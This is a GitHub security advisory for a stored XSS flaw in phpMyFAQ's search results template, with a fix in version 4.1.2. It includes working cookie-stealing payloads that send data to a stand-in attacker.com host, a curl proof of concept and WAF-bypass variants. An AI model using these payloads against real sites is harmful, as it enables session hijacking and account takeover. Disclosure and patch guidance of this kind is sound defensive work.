GHSA-PQH6-8FXF-JX22

Vulnerability from github – Published: 2026-05-06 20:31 – Updated: 2026-05-06 20:31
VLAI
Summary
phpMyFAQ has stored XSS via | raw Filter in search.twig — html_entity_decode(strip_tags()) Bypass in Search Result Rendering
Details

Summary

The search result rendering template (search.twig) outputs FAQ content fields result.question and result.answerPreview using Twig's | raw filter, which completely disables the template engine's built-in auto-escaping.

A user with FAQ editor/contributor privileges can store a payload encoded as HTML entities. During search result construction, html_entity_decode(strip_tags(...)) restores the raw HTML tags — bypassing strip_tags() — and the restored payload is injected into every visitor's browser via the | raw output.

This vulnerability is distinct from GHSA-cv2g-8cj8-vgc7 (affects faq.twig, bypass via regex mismatch in Filter::removeAttributes()) and is not addressed by the 4.1.1 patch.


Affected Files

File Location Issue
phpmyfaq/assets/templates/default/search.twig lines rendering result.question, result.answerPreview (Vertical Bar) raw disables autoescape
phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php search result processing loop html_entity_decode(strip_tags(...)) restores encoded payloads
phpmyfaq/src/phpMyFAQ/Search.php logSearchTerm() No HTML sanitization on stored search term (secondary, preventive)

Details

Vulnerability A (Primary): search.twig| raw Disables Autoescape

File: phpmyfaq/assets/templates/default/search.twig

<a title="Test" href="{{ result.url }}">{{ result.question | raw }}</a>
<small class="small">{{ result.answerPreview | raw }}...</small>

Twig's autoescape encodes all variables by default. The | raw filter unconditionally disables this protection. Both result.question and result.answerPreview are populated from database content (FAQ records and custom pages) that can contain attacker-controlled data.

Seven (7) instances of | raw exist in search.twig:

{{ result.renderedScore | raw }}
{{ result.question | raw }}
{{ result.answerPreview | raw }}
{{ searchTags | raw }}
{{ relatedTags | raw }}
{{ pagination | raw }}
{{ 'help_search' | translate | raw }}

Each of these constitutes an independent XSS surface if its data source is compromised.


Vulnerability B (Amplifier): SearchController.phphtml_entity_decode(strip_tags()) Bypass

File: phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php

$data->answer = html_entity_decode(
    strip_tags((string) $data->answer),
    ENT_COMPAT,
    encoding: 'utf-8'
);

This pattern is a known security anti-pattern. When a payload is stored as HTML entities, strip_tags() passes it through unmodified (it sees no actual tags), and html_entity_decode() then restores the original HTML tags — reintroducing executable markup that was thought to be neutralized.

Bypass walkthrough:

Stored in DB:    <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
strip_tags()   → no change (no real tags detected)
               → <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
html_entity_decode() → <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
| raw output   → executes in browser

Attack Chain

Prerequisites: Attacker has FAQ editor / contributor role (low privilege).

Step 1 — Payload injection

Attacker creates or edits a FAQ entry or custom page with an HTML-entity-encoded XSS payload in the question or answer body:

<svg onload=fetch('[https://attacker.com/?c='+document.cookie](https://attacker.com/?c=%27+document.cookie))>
<img src=x onerror=fetch('[https://attacker.com/?c='+document.cookie](https://attacker.com/?c=%27+document.cookie))>

Step 2 — Persistence

The payload is stored in the DB without HTML sanitization at the storage layer.

Step 3 — Victim triggers the XSS

Any user (including unauthenticated visitors and administrators) searches for a keyword matching the poisoned FAQ. The server:

  1. Retrieves the record from the database
  2. Applies strip_tags() → entity-encoded payload passes through
  3. Applies html_entity_decode() → raw <svg onload=...> is restored
  4. Passes the value to search.twig as result.answerPreview
  5. Template renders with | raw → XSS executes

Step 4 — Impact

  • Session cookie exfiltration → full account takeover
  • Administrator session hijacking (admin visiting search page)
  • Persistent attack: payload fires for every visitor until manually removed
  • Potential for worm propagation via auto-created FAQ entries

PoC

Prerequisites: Attacker has FAQ editor / contributor role (low privilege).

Step 1 — Inject payload via FAQ editor:

curl -X POST 'https://target.example.com/admin/api/faq/create' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: PHPSESSID=<editor_session>' \
  -d '{
    "data": {
      "pmf-csrf-token": "<valid_csrf_token>",
      "question": "&lt;svg onload=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)&gt;",
      "answer": "&lt;img src=x onerror=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)&gt;",
      "lang": "en",
      "categories[]": 1,
      "active": "yes",
      "tags": "test",
      "keywords": "searchable-keyword",
      "author": "attacker",
      "email": "attacker@example.com"
    }
  }'

Step 2 — Trigger XSS as victim:

https://target.example.com/search.html?search=searchable-keyword

The search result page renders the restored <svg onload=...> payload. The attacker's server receives the victim's session cookie.

Alternative payloads (for WAF bypass):

&lt;details open ontoggle=alert(document.cookie)&gt;
&lt;iframe srcdoc="&amp;lt;script&amp;gt;parent.location='https://attacker.com/?c='+document.cookie&amp;lt;/script&amp;gt;"&gt;

Impact

  • Confidentiality : Session cookie exfiltration and credential theft via JavaScript execution in victim's browser context.
  • Integrity : DOM manipulation, phishing overlay injection.
  • Scope : Attack crosses from contributor privilege context to all site visitors, including administrators.

Recommended Fix

Fix 1 (Critical) — Remove | raw from user-controlled fields in search.twig

- <a href="{{ result.url }}">{{ result.question | raw }}</a>
- <small>{{ result.answerPreview | raw }}...</small>
+ <a href="{{ result.url }}">{{ result.question }}</a>
+ <small>{{ result.answerPreview }}...</small>

If HTML formatting must be preserved, apply a whitelist-based sanitizer (e.g., ezyang/htmlpurifier) before passing data to the template, then retain | raw only for purified output.

Fix 2 (Critical) — Remove html_entity_decode() from search result pipeline SearchController.php

- $data->answer = html_entity_decode(
-     strip_tags((string) $data->answer),
-     ENT_COMPAT,
-     encoding: 'utf-8'
- );
+ $data->answer = strip_tags((string) $data->answer);
  $data->answer = Utils::makeShorterText(string: $data->answer, characters: 12);

Fix 3 (Recommended) — Audit all | raw usages in search.twig

The following additional | raw instances should be reviewed and sanitized:

{{ searchTags | raw }}       → apply HTML Purifier or remove | raw
{{ relatedTags | raw }}      → apply HTML Purifier or remove | raw
{{ pagination | raw }}       → safe only if generated entirely server-side with no user input

Fix 4 (Preventive) — Add htmlspecialchars() in logSearchTerm()

  $this->configuration->getDb()->escape($searchTerm)
+ htmlspecialchars(
+     $this->configuration->getDb()->escape($searchTerm),
+     ENT_QUOTES | ENT_HTML5,
+     'UTF-8'
+ )

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.1"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpmyfaq/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.1"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "thorsten/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T20:31:54Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe search result rendering template (`search.twig`) outputs FAQ content fields `result.question` and `result.answerPreview` using Twig\u0027s `| raw` filter, which completely disables the template engine\u0027s built-in auto-escaping.\n\nA user with FAQ editor/contributor privileges can store a payload encoded as HTML entities. During search result construction, `html_entity_decode(strip_tags(...))` restores the raw HTML tags \u2014 bypassing `strip_tags()` \u2014 and the restored payload is injected into every visitor\u0027s browser via the `| raw` output.\n\nThis vulnerability is distinct from GHSA-cv2g-8cj8-vgc7 (affects `faq.twig`, bypass via regex mismatch in `Filter::removeAttributes()`) and is not addressed by the 4.1.1 patch.\n\n---\n\n## Affected Files\n\n| File | Location | Issue |\n|---|---|---|\n| `phpmyfaq/assets/templates/default/search.twig` | lines rendering `result.question`, `result.answerPreview` |  `(Vertical Bar) raw` disables autoescape |\n| `phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php` | search result processing loop | `html_entity_decode(strip_tags(...))` restores encoded payloads |\n| `phpmyfaq/src/phpMyFAQ/Search.php` | `logSearchTerm()` | No HTML sanitization on stored search term (secondary, preventive) |\n\n---\n\n## Details\n\n### Vulnerability A (Primary): `search.twig` \u2014 `| raw` Disables Autoescape\n\n**File:** `phpmyfaq/assets/templates/default/search.twig`\n\n```twig\n\u003ca title=\"Test\" href=\"{{ result.url }}\"\u003e{{ result.question | raw }}\u003c/a\u003e\n\u003csmall class=\"small\"\u003e{{ result.answerPreview | raw }}...\u003c/small\u003e\n```\n\nTwig\u0027s autoescape encodes all variables by default. The `| raw` filter unconditionally disables this protection. Both `result.question` and `result.answerPreview` are populated from database content (FAQ records and custom pages) that can contain attacker-controlled data.\n\nSeven (7) instances of `| raw` exist in `search.twig`:\n\n```twig\n{{ result.renderedScore | raw }}\n{{ result.question | raw }}\n{{ result.answerPreview | raw }}\n{{ searchTags | raw }}\n{{ relatedTags | raw }}\n{{ pagination | raw }}\n{{ \u0027help_search\u0027 | translate | raw }}\n```\n\nEach of these constitutes an independent XSS surface if its data source is compromised.\n\n---\n\n### Vulnerability B (Amplifier): `SearchController.php` \u2014 `html_entity_decode(strip_tags())` Bypass\n\n**File:** `phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php`\n\n```php\n$data-\u003eanswer = html_entity_decode(\n    strip_tags((string) $data-\u003eanswer),\n    ENT_COMPAT,\n    encoding: \u0027utf-8\u0027\n);\n```\n\nThis pattern is a known security anti-pattern. When a payload is stored as HTML entities, `strip_tags()` passes it through unmodified (it sees no actual tags), and `html_entity_decode()` then restores the original HTML tags \u2014 reintroducing executable markup that was thought to be neutralized.\n\n**Bypass walkthrough:**\n```text\nStored in DB:    \u003csvg onload=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)\u003e\nstrip_tags()   \u2192 no change (no real tags detected)\n               \u2192 \u003csvg onload=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)\u003e\nhtml_entity_decode() \u2192 \u003csvg onload=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)\u003e\n| raw output   \u2192 executes in browser\n```\n---\n\n## Attack Chain\n\n**Prerequisites:** Attacker has FAQ editor / contributor role (low privilege).\n\n**Step 1 \u2014 Payload injection**\n\nAttacker creates or edits a FAQ entry or custom page with an HTML-entity-encoded XSS payload in the question or answer body:\n```html\n\u003csvg onload=fetch(\u0027[https://attacker.com/?c=\u0027+document.cookie](https://attacker.com/?c=%27+document.cookie))\u003e\n\u003cimg src=x onerror=fetch(\u0027[https://attacker.com/?c=\u0027+document.cookie](https://attacker.com/?c=%27+document.cookie))\u003e\n```\n**Step 2 \u2014 Persistence**\n\nThe payload is stored in the DB without HTML sanitization at the storage layer.\n\n**Step 3 \u2014 Victim triggers the XSS**\n\nAny user (including unauthenticated visitors and administrators) searches for a keyword matching the poisoned FAQ. The server:\n\n1. Retrieves the record from the database\n2. Applies `strip_tags()` \u2192 entity-encoded payload passes through\n3. Applies `html_entity_decode()` \u2192 raw `\u003csvg onload=...\u003e` is restored\n4. Passes the value to `search.twig` as `result.answerPreview`\n5. Template renders with `| raw` \u2192 XSS executes\n\n**Step 4 \u2014 Impact**\n\n- Session cookie exfiltration \u2192 full account takeover\n- Administrator session hijacking (admin visiting search page)\n- Persistent attack: payload fires for every visitor until manually removed\n- Potential for worm propagation via auto-created FAQ entries\n\n---\n\n## PoC\n\n**Prerequisites:** Attacker has FAQ editor / contributor role (low privilege).\n\n**Step 1 \u2014 Inject payload via FAQ editor:**\n\n```bash\ncurl -X POST \u0027https://target.example.com/admin/api/faq/create\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -H \u0027Cookie: PHPSESSID=\u003ceditor_session\u003e\u0027 \\\n  -d \u0027{\n    \"data\": {\n      \"pmf-csrf-token\": \"\u003cvalid_csrf_token\u003e\",\n      \"question\": \"\u0026lt;svg onload=fetch(\\u0027https://attacker.com/?c=\\u0027+document.cookie)\u0026gt;\",\n      \"answer\": \"\u0026lt;img src=x onerror=fetch(\\u0027https://attacker.com/?c=\\u0027+document.cookie)\u0026gt;\",\n      \"lang\": \"en\",\n      \"categories[]\": 1,\n      \"active\": \"yes\",\n      \"tags\": \"test\",\n      \"keywords\": \"searchable-keyword\",\n      \"author\": \"attacker\",\n      \"email\": \"attacker@example.com\"\n    }\n  }\u0027\n```\n\n**Step 2 \u2014 Trigger XSS as victim:**\n```\nhttps://target.example.com/search.html?search=searchable-keyword\n```\nThe search result page renders the restored `\u003csvg onload=...\u003e` payload. The attacker\u0027s server receives the victim\u0027s session cookie.\n\n**Alternative payloads (for WAF bypass):**\n\n```html\n\u0026lt;details open ontoggle=alert(document.cookie)\u0026gt;\n\u0026lt;iframe srcdoc=\"\u0026amp;lt;script\u0026amp;gt;parent.location=\u0027https://attacker.com/?c=\u0027+document.cookie\u0026amp;lt;/script\u0026amp;gt;\"\u0026gt;\n```\n\n---\n\n## Impact\n\n- **Confidentiality :** Session cookie exfiltration and credential theft\n  via JavaScript execution in victim\u0027s browser context.\n- **Integrity :** DOM manipulation, phishing overlay injection.\n- **Scope :** Attack crosses from contributor privilege context\n  to all site visitors, including administrators.\n\n---\n\n## Recommended Fix\n\n### Fix 1 (Critical) \u2014 Remove `| raw` from user-controlled fields in `search.twig`\n\n```diff\n- \u003ca href=\"{{ result.url }}\"\u003e{{ result.question | raw }}\u003c/a\u003e\n- \u003csmall\u003e{{ result.answerPreview | raw }}...\u003c/small\u003e\n+ \u003ca href=\"{{ result.url }}\"\u003e{{ result.question }}\u003c/a\u003e\n+ \u003csmall\u003e{{ result.answerPreview }}...\u003c/small\u003e\n```\n\nIf HTML formatting must be preserved, apply a whitelist-based sanitizer (e.g., `ezyang/htmlpurifier`) **before** passing data to the template, then retain `| raw` only for purified output.\n\n### Fix 2 (Critical) \u2014 Remove `html_entity_decode()` from search result pipeline `SearchController.php`\n\n```diff\n- $data-\u003eanswer = html_entity_decode(\n-     strip_tags((string) $data-\u003eanswer),\n-     ENT_COMPAT,\n-     encoding: \u0027utf-8\u0027\n- );\n+ $data-\u003eanswer = strip_tags((string) $data-\u003eanswer);\n  $data-\u003eanswer = Utils::makeShorterText(string: $data-\u003eanswer, characters: 12);\n```\n\n### Fix 3 (Recommended) \u2014 Audit all `| raw` usages in `search.twig`\n\nThe following additional `| raw` instances should be reviewed and sanitized:\n\n```twig\n{{ searchTags | raw }}       \u2192 apply HTML Purifier or remove | raw\n{{ relatedTags | raw }}      \u2192 apply HTML Purifier or remove | raw\n{{ pagination | raw }}       \u2192 safe only if generated entirely server-side with no user input\n```\n\n### Fix 4 (Preventive) \u2014 Add `htmlspecialchars()` in `logSearchTerm()`\n\n```diff\n  $this-\u003econfiguration-\u003egetDb()-\u003eescape($searchTerm)\n+ htmlspecialchars(\n+     $this-\u003econfiguration-\u003egetDb()-\u003eescape($searchTerm),\n+     ENT_QUOTES | ENT_HTML5,\n+     \u0027UTF-8\u0027\n+ )\n```\n\n---",
  "id": "GHSA-pqh6-8fxf-jx22",
  "modified": "2026-05-06T20:31:54Z",
  "published": "2026-05-06T20:31:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-pqh6-8fxf-jx22"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thorsten/phpMyFAQ"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "phpMyFAQ has stored XSS via | raw Filter in search.twig \u2014 html_entity_decode(strip_tags()) Bypass in Search Result Rendering"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…